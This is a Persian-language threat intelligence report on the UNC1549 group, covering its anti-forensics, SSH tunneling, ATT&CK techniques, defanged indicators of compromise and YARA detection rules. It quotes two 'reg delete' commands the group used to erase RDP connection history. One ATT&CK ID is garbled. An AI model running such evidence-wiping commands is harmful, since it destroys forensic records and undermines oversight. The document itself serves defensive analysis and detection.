UNC1549 بطور مکرر ابزارهایی رو بعد از اجرا، از سیستمهای قربانی حذف میکنه تا از شناسایی شدن جلوگیری و روند تحقیقات رو برای تیمهای امنیتی دشوارتر کنه. حذف شواهد فارنزیکی، از جمله کلیدهای رجیستری مربوط به تاریخچه اتصالات RDP هم مشاهده شده. همچنین، همانطور که قبلا توضیح داده شد، این گروه بارها از SSH Reverse Tunnels از میزبان قربانی به زیرساخت خود استفاده کرده. این روش باعث میشه فعالیت اونا از دید سامانههای EDR نصب شده روی سیستمهای قربانی مخفی بمونه. در مجموع، این اقدامات نشان دهنده افزایش سطح امنیت عملیاتی (OPSEC) گروه UNC1549 طی سال گذشته است.
|
1 2 3 |
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f |
MITRE ATT&CK:
| تاکتیک | شناسه | نام | توضیحات |
| Collection | T1213.002 | Data from Information Repositories: SharePoint | UNC1549 به بررسی Microsoft Teams و SharePoint پرداخته و فایلهایی رو برای استفاده در باجگیری دانلود کرده. |
| Collection | T1113 | Screen Capture | مشاهده شده که UNC1549 از دادههای حساس اسکرینشات تهیه کرده. |
| Reconnaissance | T16561598.003 | Phishing for Information | UNC1549 از اکانتهای تامینکنندگان شخص ثالث برای دسترسی به اکانتهایی با سطح دسترسی بالا با استفاده از یک Theme پورتال Password Reset استفاده کرده. |
| Credential Access | T1110.003 | Brute Force: Password Spraying | مشاهده شده که UNC1549 حملات Password Spray رو روی دامین انجام داده. |
| Credential Access | T1003.006 | OS Credential Dumping: DCSync | UNC1549 از ابزار DCSYNCER.SLICK برای انجام DCSync در سطح دامین کنترلر استفاده کرده. |
| Defense Evasion | T1574.001 | Hijack Execution Flow: DLL Search Order Hijacking | مشاهده شده که UNC1549 از Search Order Hijacking برای اجرای هر دو ابزار LIGHTRAIL و DCSYNCER.SLICK استفاده کرده. |
| Initial Access | T1078 | Valid Accounts | UNC1549 برای دسترسی اولیه از اکانتهای معتبر و بدست آمده استفاده کرده. |
| Initial Access | T1199 | Trusted Relationship | UNC1549 از اکانتهای تامین کنندگان شخص ثالث معتبر برای دسترسی اولیه و حرکت جانبی استفاده کرده. |
IOCهای گزارش:
| Type | Indicator | Description |
|---|---|---|
| network |
104.194.215[.]88 |
Observed being used for SSH tunneling |
| network |
13.60.50[.]172 |
Observed being used for SSH tunneling |
| network |
167.172.137[.]208 |
Observed being used for SSH tunneling |
| network |
34.18.42[.]26 |
Observed being used for SSH tunneling |
| network |
4.188.75[.]206 |
Observed being used for SSH tunneling |
| network |
4.240.113[.]27 |
Observed being used for SSH tunneling |
| network |
40.119.176[.]233 |
Observed being used for SSH tunneling |
| network |
46.31.115[.]92 |
Observed being used for SSH tunneling |
| network | politicalanorak[.]com | Observed being used for SSH tunneling |
| network | ac-connection-status105.azurewebsites[.]net | GHOSTLINE |
| network | acc-cloud-connection.azurewebsites[.]net | GHOSTLINE |
| network | active-az-check-status45.azurewebsites[.]net | POLLBLEND |
| network | active-az-check-status675.azurewebsites[.]net | POLLBLEND |
| network | active-az-status45.azurewebsites[.]net | POLLBLEND |
| network | active-az-status795.azurewebsites[.]net | POLLBLEND |
| network | active-internal-log65.azurewebsites[.]net | POLLBLEND |
| network | active-internal-logs.azurewebsites[.]net | POLLBLEND |
| network | active-intranet-logs.azurewebsites[.]net | POLLBLEND |
| network | airbus.usa-careers[.]com | Phishing domain for initial access |
| network | airlinecontrolsite.uaenorth.cloudapp.azure[.]com | DEEPROOT |
| network | airlinecontrolsite.westus3.cloudapp.azure[.]com | DEEPROOT |
| network | airplaneserviceticketings[.]com | MINIBIKE |
| network | airseatregister.eastus.cloudapp.azure[.]com | DEEPROOT |
| network | airseatsregister.qatarcentral.cloudapp.azure[.]com | DEEPROOT |
| network | airseatsregistering.qatarcentral.cloudapp.azure[.]com | DEEPROOT |
| network | airtravellog[.]com | TWOSTROKE |
| network | automationagencybusiness.azurewebsites[.]net | TWOSTROKE |
| network | automationagencybusiness[.]com | TWOSTROKE |
| network | browsercheckap.azurewebsites[.]net | MINIBIKE |
| network | codesparkle.eastus.cloudapp.azure[.]com | TWOSTROKE |
| network | connect-acc-492.azurewebsites[.]net | POLLBLEND |
| network | connect-acl-492.azurewebsites[.]net | POLLBLEND |
| network | customerlistchange.eastus.cloudapp.azure[.]com | LIGHTRAIL |
| network | developercodepro.azurewebsites[.]net | TWOSTROKE |
| network | developercodevista.azurewebsites[.]net | TWOSTROKE |
| network | dreamtiniventures.azurewebsites[.]net | TWOSTROKE |
| network | fdtsprobusinesssolutions.azurewebsites[.]net | TWOSTROKE |
| network | fdtsprobusinesssolutions[.]com | TWOSTROKE |
| network | fdtsprobusinesssolutions.eastus.cloudapp.azure[.]com | TWOSTROKE |
| network | fdtsprobusinesssolutions.northeurope.cloudapp.azure[.]com | TWOSTROKE |
| network | forcecodestore[.]com | TWOSTROKE |
| network | hserbhh43.westus3.cloudapp.azure[.]com | Observed being used for SSH tunneling |
| network | infrasync-ac372.azurewebsites[.]net | POLLBLEND |
| network | intra-az-check-status45.azurewebsites[.]net | POLLBLEND |
| network | intra-az-check-status675.azurewebsites[.]net | POLLBLEND |
| network | intra-az-status45.azurewebsites[.]net | POLLBLEND |
| network | intra-az-status795.azurewebsites[.]net | POLLBLEND |
| network | masterflexiblecloud.azurewebsites[.]net | TWOSTROKE |
| network | mso-internal-log65.azurewebsites[.]net | POLLBLEND |
| network | mso-internal-logs.azurewebsites[.]net | POLLBLEND |
| network | mso-intranet-logs.azurewebsites[.]net | POLLBLEND |
| network | mydocs.qatarcentral.cloudapp.azure[.]com | Phishing domain for lateral movement |
| network | nx425-win4945.azurewebsites[.]net | POLLBLEND |
| network | nx4542-win4957.azurewebsites[.]net | POLLBLEND |
| network | nxlog-crash-1567.azurewebsites[.]net | POLLBLEND |
| network | nxlog-win-1567.azurewebsites[.]net | POLLBLEND |
| network | nxversion-win-1567.azurewebsites[.]net | POLLBLEND |
| network | nxversion-win32-1127.azurewebsites[.]net | POLLBLEND |
| network | overqatfa.northeurope.cloudapp.azure[.]com | Observed being used for SSH tunneling |
| network | queuetestapplication.azurewebsites[.]net | MINIBIKE |
| network | skychain13424.azurewebsites[.]net | MINIBIKE |
| network | skychain41334.northeurope.cloudapp.azure[.]com | MINIBIKE |
| network | skychains42745.eastus.cloudapp.azure[.]com | MINIBIKE |
| network | skyticketgrant.azurewebsites[.]net | MINIBIKE |
| network | snare-core.azurewebsites[.]net | POLLBLEND |
| network | storageboxcloud.northeurope.cloudapp.azure[.]com | TWOSTROKE |
| network | storagewiz.co.azurewebsites[.]net | TWOSTROKE |
| network | swiftcode.eastus.cloudapp.azure[.]com | TWOSTROKE |
| network | swifttiniventures.azurewebsites[.]net | TWOSTROKE |
| network | terratechworld.eastus.cloudapp.azure[.]com | TWOSTROKE |
| network | thecloudappbox.azurewebsites[.]net | TWOSTROKE |
| network | thestorageboxcloud.northeurope.cloudapp.azure[.]com | TWOSTROKE |
| network | thetacticstore[.]com | TWOSTROKE |
| network | thevaultapp.westus3.cloudapp.azure[.]com | TWOSTROKE |
| network | thevaultspace.eastus.cloudapp.azure[.]com | TWOSTROKE |
| network | tini-ventures[.]com | TWOSTROKE |
| network | vcphone-ms.azurewebsites[.]net | POLLBLEND |
| network | vcs-news[.]com | Observed being used for SSH tunneling |
| network | vm-ticket-svc.azurewebsites[.]net | POLLBLEND |
| network | vm-tools-svc.azurewebsites[.]net | POLLBLEND |
| network | vmware-health-ms.azurewebsites[.]net | POLLBLEND |
رولهای Yara:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
import "pe" rule M_APT_Utility_DCSYNCER_SLICK_1 { meta: author = "Google Threat Intelligence Group (GTIG)" md5 = "10f16991665df69d1ccd5187e027cf3d" strings: $ = { 48 89 84 24 ?? 01 00 00 C7 84 24 ?? 01 00 00 30 80 28 00 C7 84 24 ?? 01 00 00 E8 03 00 00 48 C7 84 24 ?? 01 00 00 00 00 A0 00 BA ?? 00 00 00 8D 4A ?? FF 15 ?? ?? 01 00 48 89 84 24 ?? 01 00 00 C7 00 01 00 00 00 48 8B 84 24 ?? 01 00 00 44 89 ?? 04 48 8B 84 24 ?? 01 00 00 C7 40 08 ?? 00 00 00 41 8B ?? } $ = "\\LOG.txt" ascii wide $ = "%ws_%d:%d:" ascii wide fullword $ = "%ws:%d:" ascii wide fullword $ = "::::" ascii wide fullword $ = "%ws_%d:%d::" ascii wide fullword $ = "%ws:%d::" ascii wide fullword condition: pe.is_pe and all of them } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
import "pe" rule M_APT_Utility_CRASHPAD_1 { meta: author = "Google Threat Intelligence Group (GTIG)" md5 = "b2bd275f97cb95c7399065b57f90bb6c" strings: $ = "[-] Loo ror: %u" ascii fullword $ = "[-] Adj r: %u" ascii fullword $ = "[-] Th ge. " ascii fullword $ = "[+] O s!" ascii fullword $ = "[-] O C: %i" ascii fullword $ = "[-] O E: %i" ascii fullword $ = "[+] Op cess!" ascii fullword $ = "[-] Op Code: %i" ascii fullword $ = "[-] O Error: %i" ascii fullword $ = "[+] Im su!" ascii fullword $ = "[+] R" ascii fullword $ = "[-] Impe Code: %i" ascii fullword $ = "[-] Imo: %i" ascii fullword $ = "[+] Du success!" ascii fullword $ = "[-] Du Code: %i" ascii fullword $ = "[-] Du Error: %i" ascii fullword $ = "[+] Dec Suc." ascii fullword $ = "%02X" ascii fullword $ = "Decryption failed" ascii fullword $ = "config.txt" $ = "crash.log" $ = "[+] e wt!" ascii fullword $ = "[+] p %d!" ascii fullword $ = "[+] e!" ascii fullword condition: pe.is_pe and 15 of them } |